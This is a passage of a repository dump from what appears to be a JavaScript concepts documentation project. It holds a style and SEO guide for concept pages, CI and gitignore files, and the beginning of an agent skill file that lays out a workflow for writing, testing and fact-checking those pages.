| DOM | `"Understanding the DOM"` | `"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering."` |
| Closures | `"Functions that remember"` | `"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns."` |
| Promises | `"Async JavaScript"` | `"Understand JavaScript Promises for handling asynchronous operations. Learn to create, chain, and combine Promises, handle errors properly, and write cleaner async code."` |
| Event Loop | `"How async works"` | `"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking."` |
| Call Stack | `"Function execution"` | `"Learn how the JavaScript call stack tracks function execution. Understand stack frames, execution context, stack overflow errors, and how recursion affects the stack."` |
| this | `"Understanding this"` | `"Learn the 'this' keyword in JavaScript and how context binding works. Covers the four binding rules, arrow function behavior, and how to use call, apply, and bind."` |
**Character Count Check:**
- Under 120 chars: You're leaving value on the table — add more specifics
- 150-160 chars: Optimal length
- Over 160 chars: Will be truncated — edit ruthlessly
---
### Keyword Placement Strategy
Keywords must appear in strategic locations — but **always naturally**. Keyword stuffing hurts rankings.
**Priority Placement Locations:**
| Priority | Location | How to Include |
|----------|----------|----------------|
| 🔴 Critical | Title | Primary keyword in first half |
| 🔴 Critical | Meta description | Primary keyword + 1-2 secondary |
| 🔴 Critical | First paragraph | Natural mention within first 100 words |
| 🟠 High | H2 headings | Question-format headings with keywords |
| 🟠 High | "What you'll learn" box | Topic-related phrases |
| 🟡 Medium | H3 subheadings | Related keywords and concepts |
| 🟡 Medium | Key Takeaways | Reinforce main keywords naturally |
| 🟢 Good | Alt text | If using images, include keywords |
**Example: Keyword Placement for DOM Page**
```mdx
---
title: "DOM: How Browsers Represent Web Pages in JavaScript" ← 🔴 Primary: "in JavaScript" at end
sidebarTitle: "DOM: How Browsers Represent Web Pages" ← Sidebar: no "JavaScript"
description: "Learn how the DOM works in JavaScript. Understand ← 🔴 Primary: "DOM works in JavaScript"
how browsers represent HTML as a tree, select and manipulate ← 🔴 Secondary: "manipulate elements"
elements, traverse nodes, and optimize rendering."
---
How does JavaScript change what you see on a webpage? ← Hook question
The **Document Object Model (DOM)** is a programming interface ← 🔴 Primary keyword in first paragraph
for web documents. It represents your HTML as a **tree of
objects** that JavaScript can read and manipulate.
**What you'll learn in this guide:** ← 🟠 Topic reinforcement
- What the DOM actually is
- How to select elements (getElementById vs querySelector) ← Secondary keywords
- How to traverse the DOM tree
- How to create, modify, and remove elements ← "DOM" implicit
- How browsers render the DOM (Critical Rendering Path)
## What is the DOM in JavaScript? ← 🟠 H2 with question keyword
The DOM (Document Object Model) is... ← Natural repetition
## How the DOM Works ← 🟠 H2 with "how" keyword
## DOM Manipulation Methods ← 🟡 H3 with related keyword
## Key Takeaways ← 🟡 Reinforce in summary
```
**Warning Signs of Keyword Stuffing:**
- Same exact phrase appears more than 3-4 times per 1000 words
- Sentences read awkwardly because keywords were forced in
- Using keywords where pronouns ("it", "they", "this") would be natural
---
### Answering Search Intent
Google ranks pages that **directly answer the user's query**. Structure your content to satisfy search intent immediately.
**The First Paragraph Rule:**
The first paragraph after any H2 should directly answer the implied question. Don't build up to the answer — lead with it.
```mdx
## What is the Event Loop?
Before we can understand the event loop, we need to talk about JavaScript's
single-threaded nature. You see, JavaScript can only do one thing at a time,
and this creates some interesting challenges. The way JavaScript handles
this is through something called... the event loop.
## What is the Event Loop?
The **event loop** is JavaScript's mechanism for executing code, handling events,
and managing asynchronous operations. It continuously monitors the call stack
and task queue, moving queued callbacks to the stack when it's empty — this is
how JavaScript handles async code despite being single-threaded.
```
**Question-Format H2 Headings:**
Use H2s that match how people search:
| Search Query | H2 to Use |
|--------------|-----------|
| "what is the DOM" | `## What is the DOM?` |
| "how closures work" | `## How Do Closures Work?` |
| "why use promises" | `## Why Use Promises?` |
| "when to use async await" | `## When Should You Use async/await?` |
---
### Featured Snippet Optimization
Featured snippets appear at **position zero** — above all organic results. Structure your content to win them.
**Snippet Types and How to Win Them:**
```
┌─────────────────────────────────────────────────────────────────────────┐
│ FEATURED SNIPPET TYPES │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ QUERY TYPE SNIPPET FORMAT YOUR CONTENT STRUCTURE │
│ ─────────── ────────────── ───────────────────────── │
│ │
│ "What is X" Paragraph 40-60 word definition │
│ immediately after H2 │
│ │
│ "How to X" Numbered list component or │
│ numbered Markdown list │
│ │
│ "X vs Y" Table Comparison table with │
│ clear column headers │
│ │
│ "Types of X" Bulleted list Bullet list under │
│ descriptive H2 │
│ │
│ "[X] examples" Bulleted list or Code examples with │
│ code block brief explanations │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
**Pattern 1: Definition Snippet (40-60 words)**
For "what is [concept]" queries:
```mdx
## What is a Closure in JavaScript?
A **closure** is a function that retains access to variables from its outer
(enclosing) scope, even after that outer function has finished executing.
Closures are created every time a function is created in JavaScript, allowing
inner functions to "remember" and access their lexical environment.
```
**Why this wins:**
- H2 matches search query exactly
- Bold keyword in first sentence
- 40-60 word complete definition
- Explains the "why" not just the "what"
**Pattern 2: List Snippet (Steps)**
For "how to [action]" queries:
```mdx
## How to Make a Fetch Request in JavaScript
The `fetch()` function takes a URL and returns a Promise that resolves to a Response object.
Always verify `response.ok` before processing — fetch doesn't throw on HTTP errors.
Use `response.json()` for JSON data, `response.text()` for plain text.
Wrap everything in try/catch to handle both network and HTTP errors.
```
**Pattern 3: Table Snippet (Comparison)**
For "[X] vs [Y]" queries:
```mdx
## == vs === in JavaScript
| Aspect | `==` (Loose Equality) | `===` (Strict Equality) |
|--------|----------------------|------------------------|
| Type coercion | Yes — converts types before comparing | No — types must match |
| Speed | Slower (coercion overhead) | Faster (no coercion) |
| Predictability | Can produce surprising results | Always predictable |
| Recommendation | Avoid in most cases | Use by default |
```javascript
// Examples
5 == "5" // true (string coerced to number)
5 === "5" // false (different types)
```
```
**Pattern 4: List Snippet (Types/Categories)**
For "types of [concept]" queries:
```mdx
## Types of Scope in JavaScript
JavaScript has three types of scope that determine where variables are accessible:
- **Global Scope** — Variables declared outside any function or block; accessible everywhere
- **Function Scope** — Variables declared inside a function with `var`; accessible only within that function
- **Block Scope** — Variables declared with `let` or `const` inside `{}`; accessible only within that block
```
---
### Content Structure for SEO
How you structure content affects both rankings and user experience.
**The Inverted Pyramid:**
Put the most important information first. Search engines and users both prefer content that answers questions immediately.
```
┌─────────────────────────────────────────────────────────────────────────┐
│ THE INVERTED PYRAMID │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ │
│ ┌─────────────────────────────────────┐ │
│ │ ANSWER THE QUESTION │ ← First 100 words │
│ │ Definition + Core Concept │ (most important) │
│ └──────────────────┬──────────────────┘ │
│ │ │
│ ┌────────────────┴────────────────┐ │
│ │ EXPLAIN HOW IT WORKS │ ← Next 300 words │
│ │ Mechanism + Visual Diagram │ (supporting info) │
│ └────────────────┬─────────────────┘ │
│ │ │
│ ┌──────────────────┴──────────────────┐ │
│ │ SHOW PRACTICAL EXAMPLES │ ← Code examples │
│ │ Code + Step-by-step │ (proof it works) │
│ └──────────────────┬──────────────────┘ │
│ │ │
│ ┌──────────────────────┴──────────────────────┐ │
│ │ COVER EDGE CASES │ ← Advanced │
│ │ Common mistakes, gotchas │ (depth) │
│ └──────────────────────┬──────────────────────┘ │
│ │ │
│ ┌──────────────────────────┴──────────────────────────┐ │
│ │ ADDITIONAL RESOURCES │ ← External │
│ │ Related concepts, articles, videos │ (links) │
│ └──────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
**Scannable Content Patterns:**
Google favors content that's easy to scan. Use these elements:
| Element | SEO Benefit | When to Use |
|---------|-------------|-------------|
| Short paragraphs | Reduces bounce rate | Always (2-4 sentences max) |
| Bullet lists | Often become featured snippets | Lists of 3+ items |
| Numbered lists | "How to" snippet potential | Sequential steps |
| Tables | High snippet potential | Comparisons, reference data |
| Bold text | Highlights keywords for crawlers | First mention of key terms |
| Headings (H2/H3) | Structure signals to Google | Every major topic shift |
**Content Length Guidelines:**
| Length | Assessment | Action |
|--------|------------|--------|
| Under 1,000 words | Too thin | Add more depth, examples, edge cases |
| 1,000-1,500 words | Minimum viable | Acceptable for simple concepts |
| 1,500-2,500 words | Good | Standard for most concept pages |
| 2,500-4,000 words | Excellent | Ideal for comprehensive guides |
| Over 4,000 words | Evaluate | Consider splitting into multiple pages |
**Note:** Length alone doesn't guarantee rankings. Every section must add value — don't pad content.
---
### Internal Linking for SEO
Internal links help search engines understand your site structure and distribute page authority.
**Topic Cluster Strategy:**
Think of concept pages as an interconnected network. Every concept should link to 3-5 related concepts:
```
┌─────────────────┐
┌───────│ Promises │───────┐
│ └────────┬────────┘ │
│ │ │
▼ ▼ ▼
┌───────────┐ ┌───────────────┐ ┌─────────────┐
│async/await│◄──►│ Event Loop │◄──►│ Callbacks │
└───────────┘ └───────────────┘ └─────────────┘
│ │ │
│ ▼ │
│ ┌───────────────┐ │
└──────►│ Call Stack │◄───────┘
└───────────────┘
```
**Link Placement Guidelines:**
1. **In Prerequisites (Warning box):**
```mdx
**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if you're not comfortable with asynchronous JavaScript.
```
2. **In Body Content (natural context):**
```mdx
When the callback finishes, it's added to the task queue — which is managed by the [event loop](/concepts/event-loop).
```
3. **In Related Concepts Section:**
```mdx
async/await is built on top of Promises
How JavaScript manages async operations
```
**Anchor Text Best Practices:**
| ❌ Bad Anchor Text | ✓ Good Anchor Text | Why |
|-------------------|-------------------|-----|
| "click here" | "event loop guide" | Descriptive, includes keyword |
| "this article" | "our Promises concept" | Tells Google what page is about |
| "here" | "JavaScript closures" | Keywords in anchor text |
| "read more" | "understanding the call stack" | Natural, informative |
---
### URL and Slug Best Practices
URLs (slugs) are a minor but meaningful ranking factor.
**Rules:**
1. **Use lowercase** — `closures` not `Closures`
2. **Use hyphens** — `call-stack` not `call_stack` or `callstack`
3. **Keep it short** — aim for 3-5 words maximum
4. **Include primary keyword** — the concept name
5. **Avoid stop words** — skip "the", "and", "in", "of" unless necessary
**Slug Examples:**
| Concept | ❌ Avoid | ✓ Use |
|---------|---------|-------|
| The Event Loop | `the-event-loop` | `event-loop` |
| this, call, apply and bind | `this-call-apply-and-bind` | `this-call-apply-bind` |
| Scope and Closures | `scope-and-closures` | `scope-and-closures` (acceptable) or `scope-closures` |
| DOM and Layout Trees | `dom-and-layout-trees` | `dom` or `dom-layout-trees` |
**Note:** For this project, slugs are already set. When creating new pages, follow these conventions.
---
### Opening Paragraph: The SEO Power Move
The opening paragraph is prime SEO real estate. It should:
1. Hook the reader with a question they're asking
2. Include the primary keyword naturally
3. Provide a brief definition or answer
4. Set up what they'll learn
**Template:**
```mdx
[Question hook that matches search intent?] [Maybe another question?]
The **[Primary Keyword]** is [brief definition that answers "what is X"].
[One sentence explaining why it matters or what it enables].
```javascript
// Immediately show a simple example
```
[Brief transition to "What you'll learn" box]
```
**Example (Closures):**
```mdx
Why do some functions seem to "remember" variables that should have disappeared?
How can a callback still access variables from a function that finished running
long ago?
The answer is **closures** — one of JavaScript's most powerful (and often
misunderstood) features. A closure is a function that retains access to its
outer scope's variables, even after that outer scope has finished executing.
```javascript
function createCounter() {
let count = 0 // This variable is "enclosed" by the returned function
return function() {
count++
return count
}
}
const counter = createCounter()
console.log(counter()) // 1
console.log(counter()) // 2 — it remembers!
```
Understanding closures unlocks patterns like private variables, factory functions,
and the module pattern that power modern JavaScript.
```
**Why this works for SEO:**
- Question hooks match how people search ("why do functions remember")
- Bold keyword in first paragraph
- Direct definition answers "what is a closure"
- Code example demonstrates immediately
- Natural setup for learning objectives
---
## Inline Linking Rules (Critical!)
### Always Link to MDN
Whenever you introduce a new Web API, method, object, or JavaScript concept, **link to MDN immediately**. This gives readers a path to deeper learning.
```mdx
The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to make network requests.
The **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object contains everything about the server's reply.
Most modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format.
The Fetch API is JavaScript's modern way to make network requests.
```
### Link to Related Concept Pages
When mentioning concepts covered in other pages, link to them:
```mdx
If you're not familiar with it, check out our [async/await concept](/concepts/async-await) first.
This guide assumes you understand [Promises](/concepts/promises).
If you're not familiar with async/await, you should learn that first.
```
### Common MDN Link Patterns
| Concept | MDN URL Pattern |
|---------|-----------------|
| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |
| JavaScript Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |
| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |
| HTTP Methods | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/{METHOD}` |
| HTTP Headers | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers` |
---
## Code Examples Best Practices
### 1. Start with the Simplest Possible Example
```javascript
// ✓ GOOD: Start with the absolute basics
// This is how you fetch data in JavaScript
const response = await fetch('https://api.example.com/users/1')
const user = await response.json()
console.log(user.name) // "Alice"
```
### 2. Use Step-by-Step Comments
```javascript
// Step 1: fetch() returns a Promise that resolves to a Response object
const responsePromise = fetch('https://api.example.com/users')
// Step 2: When the response arrives, we get a Response object
responsePromise.then(response => {
console.log(response.status) // 200
// Step 3: The body is a stream, we need to parse it
return response.json()
})
.then(data => {
// Step 4: Now we have the actual data
console.log(data)
})
```
### 3. Show Output in Comments
```javascript
const greeting = "Hello"
console.log(typeof greeting) // "string"
const numbers = [1, 2, 3]
console.log(numbers.length) // 3
```
### 4. Use ❌ and ✓ for Wrong/Correct Patterns
```javascript
// ❌ WRONG - This misses HTTP errors!
try {
const response = await fetch('/api/users/999')
const data = await response.json()
} catch (error) {
// Only catches NETWORK errors, not 404s!
}
// ✓ CORRECT - Check response.ok
try {
const response = await fetch('/api/users/999')
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`)
}
const data = await response.json()
} catch (error) {
// Now catches both network AND HTTP errors
}
```
### 5. Use Meaningful Variable Names
```javascript
// ❌ BAD
const x = [1, 2, 3]
const y = x.map(z => z * 2)
// ✓ GOOD
const numbers = [1, 2, 3]
const doubled = numbers.map(num => num * 2)
```
### 6. Progress from Simple to Complex
```javascript
// Level 1: Basic usage
fetch('/api/users')
// Level 2: With options
fetch('/api/users', {
method: 'POST',
body: JSON.stringify({ name: 'Alice' })
})
// Level 3: Full real-world pattern
async function createUser(userData) {
const response = await fetch('/api/users', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(userData)
})
if (!response.ok) {
throw new Error(`Failed to create user: ${response.status}`)
}
return response.json()
}
```
---
## Resource Curation Guidelines
External resources (articles, videos) are valuable, but must meet quality standards.
### Quality Standards
Only include resources that are:
1. **JavaScript-focused** — No resources primarily about other languages (C#, Python, Java, etc.), even if the concepts are similar
2. **Still accessible** — Verify all links work before publishing
3. **High quality** — From reputable sources (MDN, javascript.info, freeCodeCamp, well-known educators)
4. **Up to date** — Avoid outdated resources; check publication dates for time-sensitive topics
5. **Accurate** — Skim the content to verify it doesn't teach anti-patterns
### Writing Resource Descriptions
Each resource needs a **specific, engaging 2-sentence description** explaining what makes it unique. Generic descriptions waste the reader's time.
```mdx
Learn about Promises in JavaScript.
A comprehensive guide to async/await.
The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains.
Animated GIFs showing the call stack, microtask queue, and event loop in action. This is how async/await finally "clicked" for thousands of developers.
The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics.
```
**Description Formula:**
1. **Sentence 1:** What makes this resource unique OR what it specifically covers
2. **Sentence 2:** Why a reader should click (what they'll gain, who it's best for, what stands out)
**Avoid in descriptions:**
- "Comprehensive guide to..." (vague)
- "Great tutorial on..." (vague)
- "Learn all about..." (vague)
- "Everything you need to know about..." (cliché)
### Recommended Sources
**Articles (Prioritize):**
| Source | Why |
|--------|-----|
| javascript.info | Comprehensive, well-maintained, exercises included |
| MDN Web Docs | Official reference, always accurate |
| freeCodeCamp | Beginner-friendly, practical tutorials |
| dev.to (Lydia Hallie, etc.) | Visual explanations, community favorites |
| CSS-Tricks | DOM, browser APIs, visual topics |
**Videos (Prioritize):**
| Creator | Style |
|---------|-------|
| Web Dev Simplified | Clear, beginner-friendly, concise |
| Fireship | Fast-paced, modern, entertaining |
| Traversy Media | Comprehensive crash courses |
| Fun Fun Function | Deep-dives with personality |
| Wes Bos | Practical, real-world focused |
**Avoid:**
- Resources in other programming languages (C#, Python, Java) even if concepts overlap
- Outdated tutorials (pre-ES6 syntax for modern concepts)
- Paywalled content (unless there's a free tier)
- Low-quality Medium articles (check engagement and accuracy)
- Resources that teach anti-patterns
- Videos over 2 hours (link to specific timestamps if valuable)
### Verifying Resources
Before including any resource:
1. **Click the link** — Verify it loads and isn't behind a paywall
2. **Skim the content** — Ensure it's accurate and well-written
3. **Check the date** — For time-sensitive topics, prefer recent content
4. **Read comments/reactions** — Community feedback reveals quality issues
5. **Test code examples** — If they include code, verify it works
---
## ASCII Art Diagrams
Use ASCII art to visualize concepts. Make them boxed and labeled:
```
┌─────────────────────────────────────────────────────────────────────────┐
│ THE REQUEST-RESPONSE CYCLE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ YOU (Browser) KITCHEN (Server) │
│ ┌──────────┐ ┌──────────────┐ │
│ │ │ ──── "I'd like pasta" ────► │ │ │
│ │ :) │ (REQUEST) │ [chef] │ │
│ │ │ │ │ │
│ │ │ ◄──── Here you go! ──────── │ │ │
│ │ │ (RESPONSE) │ │ │
│ └──────────┘ └──────────────┘ │
│ │
│ The waiter (HTTP) is the protocol that makes this exchange work! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
---
## Mintlify Components Reference
| Component | When to Use |
|-----------|-------------|
| `` | "What you'll learn" boxes, Key Takeaways |
| `` | Common mistakes, gotchas, prerequisites |
| `` | Pro tips, rules of thumb, best practices |
| `` | Additional context, side notes |
| `` | Expandable content, Q&A sections, optional deep-dives |
| `` | Comparing different approaches side-by-side |
| `` | Sequential processes, numbered workflows |
| `` | Resource links (articles, videos, references) |
| `` | Individual resource with icon and link |
### Card Icons Reference
| Content Type | Icon |
|--------------|------|
| MDN/Official Docs | `book` |
| Articles/Blog Posts | `newspaper` |
| Videos | `video` |
| Courses | `graduation-cap` |
| Related Concepts | Context-appropriate (`handshake`, `hourglass`, `arrows-spin`, `sitemap`, etc.) |
---
## Quality Checklist
Before finalizing a concept page, verify ALL of these:
### Structure
- [ ] Opens with engaging questions that hook the reader
- [ ] Shows a simple code example immediately after the opening
- [ ] Has "What you'll learn" Info box right after the opening
- [ ] Major sections are separated by `---` horizontal rules
- [ ] Has a real-world analogy with ASCII art diagram
- [ ] Has a "Common Mistakes" or "The #1 Mistake" section
- [ ] Has a "Key Takeaways" section summarizing 8-10 points
- [ ] Has a "Test Your Knowledge" section with 5-6 Q&As
- [ ] Ends with Related Concepts, Reference, Articles, Videos in that order
### Linking
- [ ] All new Web APIs/methods have inline MDN links on first mention
- [ ] All related concepts link to their concept pages (`/concepts/slug`)
- [ ] Reference section has multiple MDN links
- [ ] 4-6 quality articles with descriptions
- [ ] 3-4 quality videos with descriptions
### Code Examples
- [ ] First code example is dead simple
- [ ] Uses step-by-step comments for complex examples
- [ ] Shows output in comments (`// "result"`)
- [ ] Uses ❌ and ✓ for wrong/correct patterns
- [ ] Uses meaningful variable names
- [ ] Progresses from simple to complex
### Content Quality
- [ ] Written for someone who might be new to coding
- [ ] Prerequisites are noted with Warning component
- [ ] No assumptions about prior knowledge without links
- [ ] Tables used for quick reference information
- [ ] ASCII diagrams for visual concepts
### Language Quality
- [ ] Description starts with "Learn" or "Understand" (not "Master")
- [ ] No overuse of em dashes (fewer than 15 outside Key Takeaways and structured sections)
- [ ] No AI superlatives: "dramatically", "fundamentally", "incredibly", "extremely"
- [ ] No stiff phrases: "one of the most important", "essential points", "It should be noted"
- [ ] Emphasis patterns vary (not all "Key insight:" or "Best practice:")
- [ ] Playful touches are sparse (1-2 per major section maximum)
- [ ] No filler words: "basically", "essentially", "actually", "very", "really"
- [ ] Sentences are direct (no "In order to", "Due to the fact that")
### Resource Quality
- [ ] All article/video links are verified working
- [ ] All resources are JavaScript-focused (no C#, Python, Java resources)
- [ ] Each resource has a specific 2-sentence description (not generic)
- [ ] Resource descriptions explain what makes each unique
- [ ] No outdated resources (check dates for time-sensitive topics)
- [ ] 4-6 articles from reputable sources
- [ ] 3-4 videos from quality creators
---
## Writing Tests
When adding code examples, create corresponding tests in `/tests/`:
```javascript
// tests/{category}/{concept-name}/{concept-name}.test.js
import { describe, it, expect } from 'vitest'
describe('Concept Name', () => {
describe('Basic Examples', () => {
it('should demonstrate the core concept', () => {
// Convert console.log examples to expect assertions
expect(typeof "hello").toBe("string")
})
})
describe('Common Mistakes', () => {
it('should show the wrong behavior', () => {
// Test the "wrong" example to prove it's actually wrong
})
it('should show the correct behavior', () => {
// Test the "correct" example
})
})
})
```
---
## SEO Checklist
Verify these elements before publishing any concept page:
### Title & Meta Description
- [ ] **Title is 50-60 characters** — check with character counter
- [ ] **Title ends with "in JavaScript"** — SEO keyword at end
- [ ] **Title has a compelling hook** — tells reader what they'll understand
- [ ] **sidebarTitle matches title but without "in JavaScript"** — cleaner navigation
- [ ] **Description is 150-160 characters** — don't leave value on the table
- [ ] **Description includes primary keyword** in first sentence
- [ ] **Description includes 1-2 secondary keywords** naturally
- [ ] **Description starts with action word** (Learn, Understand, Discover — avoid "Master")
- [ ] **Description promises specific value** — what will they learn?
### Keyword Placement
- [ ] **Primary keyword in title**
- [ ] **Primary keyword in description**
- [ ] **Primary keyword in first paragraph** (within first 100 words)
- [ ] **Primary keyword in at least one H2 heading**
- [ ] **Secondary keywords in H2/H3 headings** where natural
- [ ] **Keywords in "What you'll learn" box items**
- [ ] **No keyword stuffing** — content reads naturally
### Content Structure
- [ ] **Opens with question hook** matching search intent
- [ ] **Shows code example in first 200 words**
- [ ] **First paragraph after H2s directly answers** the implied question
- [ ] **Content is 1,500+ words** (comprehensive coverage)
- [ ] **Short paragraphs** (2-4 sentences maximum)
- [ ] **Uses bullet lists** for 3+ related items
- [ ] **Uses numbered lists** for sequential processes
- [ ] **Uses tables** for comparisons and reference data
- [ ] **Key terms bolded** on first mention with MDN links
### Featured Snippet Optimization
- [ ] **"What is X" section has 40-60 word definition paragraph**
- [ ] **"How to" sections use numbered steps or `` component**
- [ ] **Comparison sections use tables** with clear headers
- [ ] **At least one H2 is phrased as a question** matching search query
### Internal Linking
- [ ] **Links to 3-5 related concept pages** in body content
- [ ] **Uses descriptive anchor text** (not "click here" or "here")
- [ ] **Prerequisites linked in Warning component** at start
- [ ] **Related Concepts section has 4 cards** with relevant concepts
- [ ] **Links appear in natural context** — not forced
### Technical SEO
- [ ] **Slug is lowercase with hyphens**
- [ ] **Slug contains primary keyword**
- [ ] **Slug is 3-5 words maximum**
- [ ] **All external links use proper URLs** (no broken links)
- [ ] **MDN links are current** (check they resolve)
================================================
FILE: .github/FUNDING.yml
================================================
# These are supported funding model platforms
github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
patreon: # Replace with a single Patreon username
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
custom: https://www.buymeacoffee.com/PtZnDSaEo
================================================
FILE: .github/workflows/tests.yml
================================================
name: Tests
on:
push:
branches: [master, main]
pull_request:
branches: [master, main]
jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 'lts/*'
cache: 'npm'
- name: Install dependencies
run: npm ci
- name: Run tests
run: npm test
================================================
FILE: .gitignore
================================================
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
# nyc test coverage
.nyc_output
# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# TypeScript v1 declaration files
typings/
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
# next.js build output
.next
# webstore IDE created directory
.idea
================================================
FILE: .opencode/skill/concept-workflow/SKILL.md
================================================
---
name: concept-workflow
description: End-to-end workflow for creating complete JavaScript concept documentation, orchestrating all skills from research to final review
---
# Skill: Complete Concept Workflow
Use this skill to create a complete, high-quality concept page from start to finish. This skill orchestrates all five specialized skills in the optimal order:
1. **Resource Curation** — Find quality learning resources
2. **Concept Writing** — Write the documentation page
3. **Test Writing** — Create tests for code examples
4. **Fact Checking** — Verify technical accuracy
5. **SEO Review** — Optimize for search visibility
## When to Use
- Creating a brand new concept page from scratch
- Completely rewriting an existing concept page
- When you want a full end-to-end workflow with all quality checks
**For partial tasks, use individual skills instead:**
- Just adding resources? Use `resource-curator`
- Just writing content? Use `write-concept`
- Just adding tests? Use `test-writer`
- Just verifying accuracy? Use `fact-check`
- Just optimizing SEO? Use `seo-review`
---
## Workflow Overview
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ COMPLETE CONCEPT WORKFLOW │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ INPUT: Concept name (e.g., "hoisting", "event-loop", "promises") │
│ │
│ ┌──────────────────┐ │
│ │ PHASE 1: RESEARCH │ │
│ │ resource-curator │ Find MDN refs, articles, videos │
│ └────────┬─────────┘ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ PHASE 2: WRITE │ │
│ │ write-concept │ Create the documentation page │
│ └────────┬─────────┘ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ PHASE 3: TEST │ │
│ │ test-writer │ Generate tests for all code examples │
│ └────────┬─────────┘ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ PHASE 4: VERIFY │ │
│ │ fact-check │ Verify accuracy, run tests, check links │
│ └────────┬─────────┘ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ PHASE 5: OPTIMIZE│ │
│ │ seo-review │ SEO audit and final optimizations │
│ └────────┬─────────┘ │
│ ▼ │
│ OUTPUT: Complete, tested, verified, SEO-optimized concept page │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
---
## Phase 1: Resource Curation
**Skill:** `resource-curator`
**Goal:** Gather high-quality external resources before writing
### What to Do
1. **Identify the concept category** (fundamentals, async, OOP, etc.)
2. **Search for MDN references** — Official documentation
3. **Find quality articles** — Target 4-6 from trusted sources
4. **Find quality videos** — Target 3-4 from trusted creators
5. **Evaluate each resource** — Check quality criteria
6. **Write specific descriptions** — 2 sentences each
7. **Format as Card components** — Ready to paste into the page
### Deliverables
- List of 2-4 MDN/reference links with descriptions
- List of 4-6 article links with descriptions
- List of 3-4 video links with descriptions
- Optional: 1-2 courses or books
### Quality Gates
Before moving to Phase 2:
- [ ] All links verified working (200 response)
- [ ] All resources are JavaScript-focused
- [ ] Descriptions are specific, not generic
- [ ] Mix of beginner and advanced content
---
## Phase 2: Concept Writing
**Skill:** `write-concept`
**Goal:** Create the full documentation page
### What to Do
1. **Determine the category** for file organization
2. **Create the frontmatter** (title, sidebarTitle, description)
3. **Write the opening hook** — Question that draws readers in
4. **Add opening code example** — Simple example in first 200 words
5. **Write "What you'll learn" box** — 5-7 bullet points
6. **Write main content sections:**
- What is [concept]? (with 40-60 word definition for featured snippet)
- Real-world analogy
- How it works (with diagrams)
- Code examples (multiple, progressive complexity)
- Common mistakes
- Edge cases
7. **Add Key Takeaways** — 8-10 numbered points
8. **Add Test Your Knowledge** — 5-6 Q&A accordions
9. **Add Related Concepts** — 4 Cards linking to related topics
10. **Add Resources** — Paste resources from Phase 1
### Deliverables
- Complete `.mdx` file at `/docs/concepts/{concept-name}.mdx`
- File added to `docs.json` navigation (if new)
### Quality Gates
Before moving to Phase 3:
- [ ] Frontmatter complete (title, sidebarTitle, description)
- [ ] Opens with question hook
- [ ] Code example in first 200 words
- [ ] "What you'll learn" Info box present
- [ ] All required sections present
- [ ] Resources section complete
- [ ] 1,500+ words
---
## Phase 3: Test Writing
**Skill:** `test-writer`
**Goal:** Create comprehensive tests for all code examples
### What to Do
1. **Scan the concept page** for all code examples
2. **Categorize examples:**
- Testable (console.log, return values)
- DOM-specific (needs jsdom)
- Error examples (toThrow)
- Conceptual (skip)
3. **Create test file** at `tests/{category}/{concept}/{concept}.test.js`
4. **Create DOM test file** (if needed) at `tests/{category}/{concept}/{concept}.dom.test.js`
5. **Write tests** for each code example with source line references
6. **Run tests** to verify all pass
### Deliverables
- Test file: `tests/{category}/{concept-name}/{concept-name}.test.js`
- DOM test file (if applicable): `tests/{category}/{concept-name}/{concept-name}.dom.test.js`
- All tests passing
### Quality Gates
Before moving to Phase 4:
- [ ] All testable code examples have tests
- [ ] Source line references in comments
- [ ] Tests pass: `npm test -- tests/{category}/{concept}/`
- [ ] DOM tests in separate file with jsdom directive
---
## Phase 4: Fact Checking
**Skill:** `fact-check`
**Goal:** Verify technical accuracy of all content
### What to Do
1. **Verify code examples:**
